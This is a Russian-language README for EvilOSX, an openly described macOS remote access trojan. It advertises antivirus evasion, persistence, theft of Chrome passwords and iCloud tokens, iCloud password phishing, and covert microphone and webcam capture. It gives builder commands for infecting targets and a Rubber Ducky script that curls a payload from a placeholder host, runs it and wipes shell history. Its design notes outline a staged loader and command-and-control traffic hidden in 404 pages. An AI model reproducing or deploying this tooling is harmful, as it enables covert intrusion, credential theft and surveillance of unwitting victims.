EvilOSX
Зловредный RAT (инструмент удалённого администрирования) для macOS / OS X.
Генератор макросов от Cedric Owens
Этот проект больше не поддерживается
Возможности
- Эмуляция терминала
- Простая расширяемая модульная система
- Отсутствие зависимостей у бота (чистый python)
- Не обнаруживается антивирусами (полезные нагрузки зашифрованы OpenSSL AES-256)
- Постоянство (persistence)
- Поддержка GUI и CLI
- Извлечение паролей Chrome
- Извлечение токенов iCloud и контактов
- Чтение/мониторинг буфера обмена
- Получение истории браузера (Chrome и Safari)
- Фишинг паролей iCloud через iTunes
- Перебор резервных копий iTunes (iOS)
- Запись с микрофона
- Снятие скриншота рабочего стола или фотографии с веб-камеры
- Попытка получения root через локальное повышение привилегий
Как использовать
# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX
# Go into the repository
$ cd EvilOSX
# Install dependencies required by the server
$ sudo pip install -r requirements.txt
# Start the GUI
$ python start.py
# Lastly, run a built launcher on your target(s)
Предупреждение: Поскольку полезные нагрузки создаются уникальными для целевой системы (автоматически сервером), сервер должен быть запущен при первом подключении любого бота.
Для продвинутых пользователей
Также есть CLI для тех, кто хочет использовать это через SSH:
# Create a launcher to infect your target(s)
$ python start.py --builder
# Start the CLI
$ python start.py --cli --port 1337
# Lastly, run a built launcher on your target(s)
Скриншоты

Мотивация
Этот проект создавался для использования с моим Rubber Ducky, вот простой скрипт:
REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/
DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500
REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER
STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
- Чтобы взломать любой разблокированный Mac, требуется около 10 секунд, что… неплохо
- «Terminal» написано так намеренно: на некоторых системах Spotlight иначе не найдёт терминал.
- Чтобы обойти помощника по настройке клавиатуры, обязательно измените VID&PID, которые можно найти здесь.
Скорее всего, вам подойдёт алюминиевая клавиатура (ISO).
Версионирование
EvilOSX будет поддерживаться в соответствии с правилами Semantic Versioning настолько, насколько это возможно.
Версии сервера и бота будут нумероваться в следующем формате:
И строиться по следующим правилам:
- Нарушение обратной совместимости (со старыми ботами) увеличивает major
- Добавление новых функций без нарушения обратной совместимости увеличивает minor
- Исправление ошибок и прочие изменения увеличивают patch
Для получения дополнительной информации о SemVer посетите https://semver.org/.
Замечания по дизайну
- Заражение машины разбито на три этапа:
- На целевой машине запускается загрузчик (launcher), единственная цель которого — запустить постановщик (stager)
- Постановщик запрашивает у сервера загрузчик (loader), который определяет, как будет загружена полезная нагрузка
- Загрузчику передаётся уникально зашифрованная полезная нагрузка, после чего она отправляется обратно постановщику
- Сервер скрывает свой трафик, отправляя сообщения, спрятанные в страницах ошибок HTTP 404 (из BlackHat «Hiding In Plain Sight»)
- Команды извлекаются с сервера через GET-запрос
- Ответы на команды отправляются на сервер через POST-запрос
- Модули используют динамическую природу python: они просто передаются по сети сжатыми с помощью zlib вместе с любыми параметрами конфигурации
- Поскольку бот общается только с сервером и никогда наоборот, сервер не может узнать, когда бот уходит в офлайн
Проблемы
Не стесняйтесь отправлять любые проблемы или запросы новых функций здесь.
Участие в разработке
Простое руководство по созданию модулей можно найти здесь.
Благодарности
- Замечательный проект Empire
- Отдельное спасибо Patrick Wardle за его отличные выступления, загляните на Objective-See
- manwhoami за его проекты: OSXChromeDecrypt, MMeTokenDecrypt, iCloudContacts
(теперь удалены… дайте знать, если вернётесь)
- Модуль slowloris практически скопирован из PySlowLoris
- urwid и этот код, которые сэкономили мне много времени при работе с CLI
- Логотип создан motusora
Лицензия
GPLv3